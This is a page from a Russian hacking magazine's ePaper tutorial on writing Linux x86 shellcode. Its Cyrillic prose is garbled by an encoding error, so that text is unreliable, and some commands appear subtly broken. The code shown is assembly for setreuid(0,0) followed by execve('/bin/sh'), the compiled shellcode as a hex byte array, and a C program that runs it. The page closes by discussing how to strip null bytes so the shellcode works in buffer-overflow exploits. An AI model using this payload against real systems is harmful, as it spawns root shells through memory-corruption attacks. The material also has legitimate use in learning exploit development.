ïýòðрь - Xakep Online
ïýòðрь - Xakep Online
ïýòðрь - Xakep Online
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
ÂÇËÎÌ ///// ISSUE<br />
Ïðàêòè÷åñêè êàæäûé ýêñïëîèò ñîäåðæèò<br />
íåñêîëüêî ñòðî÷åê øåëëêîäà<br />
jmp two<br />
one:<br />
pop ebx<br />
[òåêñò ïðîãðàììû]<br />
two:<br />
call one<br />
db 'ñòðîêà'<br />
 ñàìîì íà÷àëå ïðîãðàììû îñóùåñòâëÿåòñÿ ïåðåõîä íà ìåòêó<br />
two, çà êîòîðîé ðàñïîëîæåí âûçîâ ïðîöåäóðû one. Íà ñàìîì äåëå<br />
íèêàêîé ïðîöåäóðû íåò, îäíàêî ñ òàêèì èìåíåì åñòü åùå îäíà<br />
ìåòêà, êîòîðîé è ïåðåäàåòñÿ óïðàâëåíèå. Â ýòîò ìîìåíò â<br />
ñòåê çàíîñèòñÿ àäðåñ âîçâðàòà, òî åñòü àäðåñ ñëåäóþùåé çà call<br />
èíñòðóêöèåé.  íàøåì ñëó÷àå ýòî ñòðîêà áàéò — db 'string'. Ïîëó÷àåòñÿ,<br />
÷òî ê ìîìåíòó, êîãäà íà÷èíàåòñÿ îáðàáîòêà ìåòêè one,<br />
â ñòåê óæå áóäåò ïîìåùåí àäðåñ íà÷àëà ñòðîêè. Íàì îñòàåòñÿ<br />
ëèøü èçâëå÷ü åå è èñïîëüçîâàòü, êàê çàáëàãîðàññóäèòüñÿ. Ïîïðîáóåì<br />
ýòèì âîñïîëüçîâàòüñÿ â ðåàëüíîé ïðîãðàììå: äëÿ ýòîãî<br />
ìîäèôèöèðóåì íàø âòîðîé ïðèìåð. Äëÿ óäîáñòâà íàçîâåì åãî<br />
shell.asm, òàê êàê äàëåå áóäåì ðàáîòàòü òîëüêî ñ íèì.<br />
BITS 32<br />
; setreuid(0, 0)<br />
mov eax, 70<br />
mov ebx, 0<br />
mov ecx, 0<br />
int 0x80<br />
jmp<br />
one:<br />
pop<br />
two<br />
ebx<br />
; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />
mov eax, 11<br />
push 0<br />
push ebx<br />
mov ecx, esp<br />
mov edx, 0<br />
int 0x80<br />
two:<br />
call one<br />
db '/bin/sh', 0<br />
Êàê âèäèøü, íèêàêèõ ñåãìåíòîâ áîëüøå íåò. Ñòðîêà /bin/sh, êîòîðàÿ<br />
ðàíåå õðàíèëàñü â ñåãìåíòå äàííûõ, òåïåðü èçâëåêàåòñÿ<br />
èç ñòåêà â ðåãèñòð EBX. Êðîìå ýòîãî, äîáàâèëàñü íîâàÿ äèðåêòèâà<br />
BITS 32, îòâå÷àþùàÿ çà îïòèìèçàöèþ äëÿ 32-áèòíûõ ïðîöåññîðîâ.<br />
 ïðèíöèïå, ìîæíî áûëî ïîñòóïèòü èíà÷å: ñàìîñòîÿòåëüíî çàíåñòè<br />
â ñòåê ñòðîêó è èçâëå÷ü åå ñ ïîìîùüþ óêàçàòåëÿ íà âåðøèíó<br />
ñòåêà ESP. Ïðîâåðíåì òàêîé ôèíò ñî ñòðîêîé «hello,<br />
world!»:<br />
push word 0x0a21<br />
push 0x646c726f<br />
push 0x77202c6f<br />
push 0x6c6c6568<br />
mov ebx, esp<br />
Ñòðîêà çàíîñèòñÿ â ñòåê ñ êîíöà:<br />
Ïðîãðàììà íà C,<br />
ñíà÷àëà èäåò \n! (â øåñòíàäöàòåðè÷íîì<br />
êîäå 0x0a21), ïîòîì dlro<br />
çàïóñêàþùàÿ øåëë-èíòåðïðåòàòîð<br />
(0x646c726f), äàëåå w ,o (0x77202c6f) è lleh (0x6c6c6568). Â êîíöå<br />
êîíöîâ çíà÷åíèå èç ðåãèñòðà ESP (àäðåñ íà÷àëà ñòðîêè) çàíîñèòñÿ<br />
EBX. Ëèõî? Ýòîò ñïîñîá áîëåå ýôôåêòèâåí, òàê êàê ñóùåñòâåííî<br />
ñîêðàùàåò øåëë-êîä, îäíàêî ìåíåå óäîáåí.<br />
ÏÅÐÂÛÉ ØÅËË-ÊÎÄ<br />
Òåïåðü, êîãäà ìû íàó÷èëèñü îáõîäèòüñÿ áåç ñåãìåíòà äàííûõ,<br />
ìîæíî ïðèñòóïèòü ê ñîçäàíèþ ïåðâîãî ïîëíîöåííîãî øåëë-êîäà.<br />
Äëÿ ýòîãî íóæíî ñíà÷àëà îòêîìïèëèðîâàòü èñõîäíûé êîä ïðîãðàììû<br />
íà àññåìáëåðå:<br />
$ nasm shell.asm<br />
È ïðîñìîòðåòü ïîëó÷åííûé áèíàðíèê ñ ïîìîùüþ ïðîãðàììû hexdump:<br />
$ hexdump -C shell<br />
Âèäèøü ñêðèíøîò? Ïî ñóòè äåëà ýòî è åñòü øåëë-êîä, òîëüêî íåîáõîäèìî<br />
ïðåîáðàçîâàòü åãî â ñîîòâåòñòâóþùèé âèä. Äëÿ ýòîãî<br />
ïåðåä êàæäûì áàéòîì äîïèøè ñèìâîë \x è áåç ïðîáåëîâ çàíåñè<br />
â ìàññèâ ñèìâîëîâ. Ïðîâåðèòü åãî ðàáîòîñïîñîáíîñòü ìîæíî ñ<br />
ïîìîùüþ òàêîé íåñëîæíîé ïðîãðàììû:<br />
char code[]=<br />
"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"<br />
"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"<br />
"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"<br />
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";<br />
main()<br />
{<br />
int (*shell)();<br />
(int)shell = code;<br />
shell();<br />
}<br />
$ gcc -o shell.c<br />
$ ./shell.c<br />
Âñå ðàáîòàåò!<br />
ÝÒÈ ÇËÛÅ NULL-ÁÀÉÒÛ<br />
Ñïåøó òåáÿ îãîð÷èòü. Íåñìîòðÿ íà òî, ÷òî øåëë-êîä íå èñïîëüçóåò<br />
ñåãìåíò äàííûõ è äàæå ðàáîòàåò âíóòðè ïðîãðàììû-òåñòåðà,<br />
èñïîëüçîâàòü åãî â ðåàëüíûõ ýêñïëîéòàõ ïîêà<br />
íåëüçÿ. Âèíîé òîìó íóëåâûå áàéòû (\x00), êîòîðûå â èçîáèëèè<br />
ïðèñóòñòâóþò â øåëë-êîäå. Áîëüøèíñòâî îøèáîê Buffer<br />
Overflow è ïîäîáíûõ ñâÿçàíû ñ èñïîëüçîâàíèåì ôóíêöèè ðàáîòû<br />
ñî ñòðîêàìè: strcpy(), sprintf(), gets(), strcat() è ò.ä. Åñëè<br />
ïîïûòàòüñÿ èñïîëüçîâàòü øåëë-êîä â îäíîé èç òàêèõ óÿçâèìîñòåé,<br />
ïåðåïîëíèòü áóôåð è èíæåêòèðîâàòü êîä ñ íóëåâûìè<br />
áàéòàìè, òî íè÷åãî õîðîøåãî íå âûéäåò. Âñòðåòèâ íóëåâîé<br />
áàéò, ôóíêöèÿ ïîäóìàåò, ÷òî âñòðåòèëà êîíåö ñòðîêè è<br />
íå ïðî÷èòàåò îñòàâøóþñÿ ÷àñòü øåëë-êîäà.<br />
Îò õàêåðà òðåáóåòñÿ âñåìè ñèëàìè èçáåãàòü ñèòóàöèè, êîãäà â øåëëêîäå<br />
ïîÿâëÿþòñÿ íóëåâûå áàéòû. Ýòèì ìû, ñîáñòâåííî, è çàéìåìñÿ.<br />
Èäåÿ ïðîñòàÿ: íàéòè òå ó÷àñòêè êîäà, êîòîðûå ïîðîæäàþò íóëåâûå<br />
áàéòû, è âèäîèçìåíèòü èõ òàêèì îáðàçîì, ÷òîáû êîìáèíàöèè<br />
\x00 â øåëë-êîäå áîëüøå íå âñòðå÷àëîñü. Îïûòíûé ïðîãðàììèñò<br />
054 XÀÊÅÐ 01 /85/ 06